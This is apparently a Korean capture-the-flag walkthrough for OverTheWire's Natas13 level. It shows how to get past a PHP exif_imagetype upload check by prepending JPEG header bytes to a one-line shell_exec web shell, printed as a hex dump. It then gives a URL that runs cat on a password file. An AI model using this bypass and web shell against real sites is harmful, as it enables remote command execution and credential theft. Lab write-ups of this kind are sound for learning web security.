이제는 보안 상의 이유로 이미지 파일만 받는다고 한다. 소스를 보면 다음의 부분을 확인할 수 있다:
} else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
echo "File is not an image";
PHP의 exif_imagetype 함수를 이용하여 파일이 실제 이미지인지 확인하고 있다.
exif_imagetype 함수가 어떤 동작을 하는 함수인지 알아낸다면 이를 우회할 방법도 생각할 수 있을 것이다.
https://www.php.net/manual/en/function.exif-imagetype.php
When a correct signature is found, the appropriate constant value will be returned otherwise the return value is FALSE. The return value is the same value that getimagesize() returns in index 2 but exif_imagetype() is much faster.
exif 시그니처를 php 파일에 삽입하는 방법으로 우회하면 가능할 것 같다. 다음의 링크에서 각 이미지들의 헤더/푸터값을 찾을 수 있었다:
http://forensic-proof.com/archives/323
JPEG의 헤더/푸터 값은 다음과 같다:
(Header) FF D8 FF E0 xx xx 4A 46 49 46
(Footer) FF D9
Natas12에서 사용한 shell.php 파일에 위의 헤더와 푸터를 덧붙인다:
000000 ff d8 ff e0 00 00 4a 46 49 46 3c 3f 70 68 70 0d ......JFIF<?php.
000010 0a 65 63 68 6f 20 73 68 65 6c 6c 5f 65 78 65 63 .echo shell_exec
000020 28 24 5f 47 45 54 5b 27 63 6d 64 27 5d 29 3b 0d ($_GET['cmd']);.
000030 0a 3f 3e ff d9 .?>..
수정된 shell.php 파일을 Natas12와 동일한 방식으로 업로드하면 된다.
다음 명령어를 실행하면 패스워드를 얻을 수 있다:
http://natas13.natas.labs.overthewire.org/upload/1fzttgldd5.php?cmd=cat%20/etc/natas_webpass/natas14